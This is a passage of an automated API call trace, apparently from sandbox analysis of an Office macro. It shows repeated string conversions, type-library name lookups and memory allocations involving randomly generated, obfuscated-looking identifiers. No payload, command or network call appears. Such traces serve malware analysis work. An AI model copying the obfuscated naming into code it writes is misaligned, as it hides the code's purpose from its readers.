lpWideCharStr="ziwnvWwRbz") returned 10 [0018.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7666e, cbMultiByte=10, lpWideCharStr=0xd001e0a, cchWideChar=22 | out: lpWideCharStr="lFLLwqhcAW") returned 10 [0018.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76682, cbMultiByte=10, lpWideCharStr=0xd001fb4, cchWideChar=22 | out: lpWideCharStr="SMlprsFEar") returned 10 [0018.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76696, cbMultiByte=10, lpWideCharStr=0xd00215e, cchWideChar=22 | out: lpWideCharStr="UMifmwLnFH") returned 10 [0018.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb766aa, cbMultiByte=10, lpWideCharStr=0xd002308, cchWideChar=22 | out: lpWideCharStr="iQbiEzNYIO") returned 10 [0018.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb766be, cbMultiByte=10, lpWideCharStr=0xd0024b2, cchWideChar=22 | out: lpWideCharStr="QNwOknzJwD") returned 10 [0018.897] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd010000 [0018.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="YkZMlq") returned 0x105eee [0018.898] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="YkZMlq" | out: _Dst="YkZMlq") returned 0x0 [0018.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="YkZMlq") returned 7 [0018.898] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.898] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="YkZMlq", lHashVal=0x105eee, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.898] IUnknown:Release (This=0x7919520) returned 0x10 [0018.898] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.898] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="YkZMlq", lHashVal=0x105eee, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.898] IUnknown:Release (This=0x7346470) returned 0xb [0018.898] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.898] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="YkZMlq", lHashVal=0x105eee, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.898] IUnknown:Release (This=0x7345930) returned 0x7 [0018.898] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.898] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="YkZMlq", lHashVal=0x105eee, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.898] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.898] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.898] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_YkZMlq" | out: _Dst="_B_var_YkZMlq") returned 0x0 [0018.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_YkZMlq") returned 14 [0018.898] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.898] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_YkZMlq", lHashVal=0x10d997, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.898] IUnknown:Release (This=0x7919520) returned 0x10 [0018.898] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.898] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_YkZMlq", lHashVal=0x10d997, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.898] IUnknown:Release (This=0x7346470) returned 0xb [0018.898] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.898] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_YkZMlq", lHashVal=0x10d997, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.898] IUnknown:Release (This=0x7345930) returned 0x7 [0018.898] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.898] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_YkZMlq", lHashVal=0x10d997, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.898] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.898] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.898] IUnknown:Release (This=0x7919520) returned 0x10 [0018.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb766dc, cbMultiByte=10, lpWideCharStr=0xd01094c, cchWideChar=22 | out: lpWideCharStr="PLuLwEdldG") returned 10 [0018.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb766f6, cbMultiByte=10, lpWideCharStr=0xd010d96, cchWideChar=22 | out: lpWideCharStr="rujjWbwZGF") returned 10 [0018.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7670a, cbMultiByte=10, lpWideCharStr=0xd010f40, cchWideChar=22 | out: lpWideCharStr="TVAbHHzUqb") returned 10 [0018.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7671e, cbMultiByte=10, lpWideCharStr=0xd0110ea, cchWideChar=22 | out: lpWideCharStr="CJCGGwHadz") returned 10 [0018.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76732, cbMultiByte=10, lpWideCharStr=0xd011294, cchWideChar=22 | out: lpWideCharStr="ARrwHhOMin") returned 10 [0018.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76746, cbMultiByte=10, lpWideCharStr=0xd01143e, cchWideChar=22 | out: lpWideCharStr="AHhXjuLTDo") returned 10 [0018.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7675a, cbMultiByte=10, lpWideCharStr=0xd0115e8, cchWideChar=22 | out: lpWideCharStr="GIvCEhrZdY") returned 10 [0018.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7676e, cbMultiByte=10, lpWideCharStr=0xd011792, cchWideChar=22 | out: lpWideCharStr="UVwJFCiETa") returned 10 [0018.900] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wfjTzzmS") returned 0x10203b [0018.900] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="wfjTzzmS" | out: _Dst="wfjTzzmS") returned 0x0 [0018.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="wfjTzzmS") returned 9 [0018.900] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.900] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wfjTzzmS", lHashVal=0x10203b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.900] IUnknown:Release (This=0x7919520) returned 0x10 [0018.900] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.900] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wfjTzzmS", lHashVal=0x10203b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.900] IUnknown:Release (This=0x7346470) returned 0xb [0018.900] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.900] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wfjTzzmS", lHashVal=0x10203b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.900] IUnknown:Release (This=0x7345930) returned 0x7 [0018.900] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.900] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wfjTzzmS", lHashVal=0x10203b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.900] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.900] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.900] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_wfjTzzmS" | out: _Dst="_B_var_wfjTzzmS") returned 0x0 [0018.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_wfjTzzmS") returned 16 [0018.900] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.900] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wfjTzzmS", lHashVal=0x10f803, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.900] IUnknown:Release (This=0x7919520) returned 0x10 [0018.900] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.900] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wfjTzzmS", lHashVal=0x10f803, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.900] IUnknown:Release (This=0x7346470) returned 0xb [0018.900] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.900] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wfjTzzmS", lHashVal=0x10f803, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.900] IUnknown:Release (This=0x7345930) returned 0x7 [0018.900] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.900] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wfjTzzmS", lHashVal=0x10f803, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.900] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.900] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.900] IUnknown:Release (This=0x7919520) returned 0x10 [0018.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7678c, cbMultiByte=42, lpWideCharStr=0xd013c04, cchWideChar=86 | out: lpWideCharStr="cGoXPJPsIcUFCTvZfTECZjIoUwMiSUwFXDzZUQuPkA") returned 42 [0018.900] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd020000 [0018.901] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EowZnMupfv") returned 0x101844 [0018.901] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="EowZnMupfv" | out: _Dst="EowZnMupfv") returned 0x0 [0018.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="EowZnMupfv") returned 11 [0018.901] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.901] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="EowZnMupfv", lHashVal=0x101844, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.901] IUnknown:Release (This=0x7919520) returned 0x10 [0018.901] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.901] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="EowZnMupfv", lHashVal=0x101844, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.901] IUnknown:Release (This=0x7346470) returned 0xb [0018.901] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.901] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="EowZnMupfv", lHashVal=0x101844, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.901] IUnknown:Release (This=0x7345930) returned 0x7 [0018.901] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.902] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="EowZnMupfv", lHashVal=0x101844, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.902] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.902] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0018.902] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_EowZnMupfv" | out: _Dst="_B_var_EowZnMupfv") returned 0x0 [0018.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_EowZnMupfv") returned 18 [0018.902] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.902] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_EowZnMupfv", lHashVal=0x1086ae, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.902] IUnknown:Release (This=0x7919520) returned 0x10 [0018.902] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.902] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_EowZnMupfv", lHashVal=0x1086ae, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.902] IUnknown:Release (This=0x7346470) returned 0xb [0018.902] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.902] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_EowZnMupfv", lHashVal=0x1086ae, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.902] IUnknown:Release (This=0x7345930) returned 0x7 [0018.902] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.902] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_EowZnMupfv", lHashVal=0x1086ae, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.902] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.902] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.902] IUnknown:Release (This=0x7919520) returned 0x10 [0018.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb767cc, cbMultiByte=10, lpWideCharStr=0xd020994, cchWideChar=22 | out: lpWideCharStr="QtrkcYWjYA") returned 10 [0018.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb767e6, cbMultiByte=10, lpWideCharStr=0xd020dde, cchWideChar=22 | out: lpWideCharStr="fuXtnBlCkr") returned 10 [0018.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb767fa, cbMultiByte=10, lpWideCharStr=0xd020f88, cchWideChar=22 | out: lpWideCharStr="ihvMaGPUuw") returned 10 [0018.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7680e, cbMultiByte=10, lpWideCharStr=0xd021132, cchWideChar=22 | out: lpWideCharStr="wBqBqoZqFj") returned 10 [0018.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76822, cbMultiByte=10, lpWideCharStr=0xd0212dc, cchWideChar=22 | out: lpWideCharStr="chzHjWqDaj") returned 10 [0018.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76836, cbMultiByte=10, lpWideCharStr=0xd021486, cchWideChar=22 | out: lpWideCharStr="CuYFYjzfKW") returned 10 [0018.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7684a, cbMultiByte=10, lpWideCharStr=0xd021630, cchWideChar=22 | out: lpWideCharStr="JBlZBdDVCz") returned 10 [0018.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7685e, cbMultiByte=10, lpWideCharStr=0xd0217da, cchWideChar=22 | out: lpWideCharStr="buwEOzhncD") returned 10 [0018.903] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="KHqMMRKLb") returned 0x10dd78 [0018.903] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="KHqMMRKLb" | out: _Dst="KHqMMRKLb") returned 0x0 [0018.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="KHqMMRKLb") returned 10 [0018.903] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.903] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="KHqMMRKLb", lHashVal=0x10dd78, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.903] IUnknown:Release (This=0x7919520) returned 0x10 [0018.903] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.903] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="KHqMMRKLb", lHashVal=0x10dd78, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.903] IUnknown:Release (This=0x7346470) returned 0xb [0018.903] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.903] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="KHqMMRKLb", lHashVal=0x10dd78, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.903] IUnknown:Release (This=0x7345930) returned 0x7 [0018.903] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.903] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="KHqMMRKLb", lHashVal=0x10dd78, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.903] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.904] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.904] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_KHqMMRKLb" | out: _Dst="_B_var_KHqMMRKLb") returned 0x0 [0018.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_KHqMMRKLb") returned 17 [0018.904] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.904] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_KHqMMRKLb", lHashVal=0x10d73c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.904] IUnknown:Release (This=0x7919520) returned 0x10 [0018.904] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.904] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_KHqMMRKLb", lHashVal=0x10d73c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.904] IUnknown:Release (This=0x7346470) returned 0xb [0018.904] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.904] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_KHqMMRKLb", lHashVal=0x10d73c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.904] IUnknown:Release (This=0x7345930) returned 0x7 [0018.904] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.904] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_KHqMMRKLb", lHashVal=0x10d73c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.904] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.904] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.904] IUnknown:Release (This=0x7919520) returned 0x10 [0018.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7687c, cbMultiByte=10, lpWideCharStr=0xd023c4c, cchWideChar=22 | out: lpWideCharStr="tlmCaucfWL") returned 10 [0018.904] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd030000 [0018.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76896, cbMultiByte=10, lpWideCharStr=0xd0300a4, cchWideChar=22 | out: lpWideCharStr="nnXoqrVora") returned 10 [0018.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb768aa, cbMultiByte=10, lpWideCharStr=0xd03024e, cchWideChar=22 | out: lpWideCharStr="ppjKTiKXSh") returned 10 [0018.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb768be, cbMultiByte=10, lpWideCharStr=0xd0303f8, cchWideChar=22 | out: lpWideCharStr="QGzcvVWtcK") returned 10 [0018.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb768d2, cbMultiByte=10, lpWideCharStr=0xd0305a2, cchWideChar=22 | out: lpWideCharStr="EMCRljwISN") returned 10 [0018.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb768e6, cbMultiByte=10, lpWideCharStr=0xd03074c, cchWideChar=22 | out: lpWideCharStr="jpMskDBbjv") returned 10 [0018.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb768fa, cbMultiByte=10, lpWideCharStr=0xd0308f6, cchWideChar=22 | out: lpWideCharStr="jEMpvjnusV") returned 10 [0018.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7690e, cbMultiByte=10, lpWideCharStr=0xd030aa0, cchWideChar=22 | out: lpWideCharStr="UcMhWdnRZm") returned 10 [0018.906] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VJjDZGRTQtb") returned 0x10940e [0018.906] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="VJjDZGRTQtb" | out: _Dst="VJjDZGRTQtb") returned 0x0 [0018.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="VJjDZGRTQtb") returned 12 [0018.906] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.906] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="VJjDZGRTQtb", lHashVal=0x10940e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.906] IUnknown:Release (This=0x7919520) returned 0x10 [0018.906] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.906] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="VJjDZGRTQtb", lHashVal=0x10940e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.906] IUnknown:Release (This=0x7346470) returned 0xb [0018.906] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.906] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="VJjDZGRTQtb", lHashVal=0x10940e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.906] IUnknown:Release (This=0x7345930) returned 0x7 [0018.906] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.906] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="VJjDZGRTQtb", lHashVal=0x10940e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.906] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.906] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.906] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_VJjDZGRTQtb" | out: _Dst="_B_var_VJjDZGRTQtb") returned 0x0 [0018.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_VJjDZGRTQtb") returned 19 [0018.906] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.906] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_VJjDZGRTQtb", lHashVal=0x1075ef, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.906] IUnknown:Release (This=0x7919520) returned 0x10 [0018.906] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.906] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_VJjDZGRTQtb", lHashVal=0x1075ef, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.906] IUnknown:Release (This=0x7346470) returned 0xb [0018.906] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.906] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_VJjDZGRTQtb", lHashVal=0x1075ef, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.906] IUnknown:Release (This=0x7345930) returned 0x7 [0018.906] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.906] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_VJjDZGRTQtb", lHashVal=0x1075ef, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.906] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.906] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.906] IUnknown:Release (This=0x7919520) returned 0x10 [0018.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7692c, cbMultiByte=10, lpWideCharStr=0xd032f12, cchWideChar=22 | out: lpWideCharStr="lwYAdqqiCm") returned 10 [0018.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76946, cbMultiByte=10, lpWideCharStr=0xd03335c, cchWideChar=22 | out: lpWideCharStr="uswsWYvQYS") returned 10 [0018.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7695a, cbMultiByte=10, lpWideCharStr=0xd033506, cchWideChar=22 | out: lpWideCharStr="hGNNVmBsCi") returned 10 [0018.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7696e, cbMultiByte=10, lpWideCharStr=0xd0336b0, cchWideChar=22 | out: lpWideCharStr="aWKrKBpkHl") returned 10 [0018.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76982, cbMultiByte=10, lpWideCharStr=0xd03385a, cchWideChar=22 | out: lpWideCharStr="sJKfwIsfft") returned 10 [0018.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76996, cbMultiByte=10, lpWideCharStr=0xd033a04, cchWideChar=22 | out: lpWideCharStr="QlrdlfiLiq") returned 10 [0018.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb769aa, cbMultiByte=10, lpWideCharStr=0xd033bae, cchWideChar=22 | out: lpWideCharStr="ozjULYhGhU") returned 10 [0018.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb769be, cbMultiByte=10, lpWideCharStr=0xd033d58, cchWideChar=22 | out: lpWideCharStr="iLInaYviPN") returned 10 [0018.907] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd040000 [0018.908] LHashValOfNameSysA (syskind=0x3, 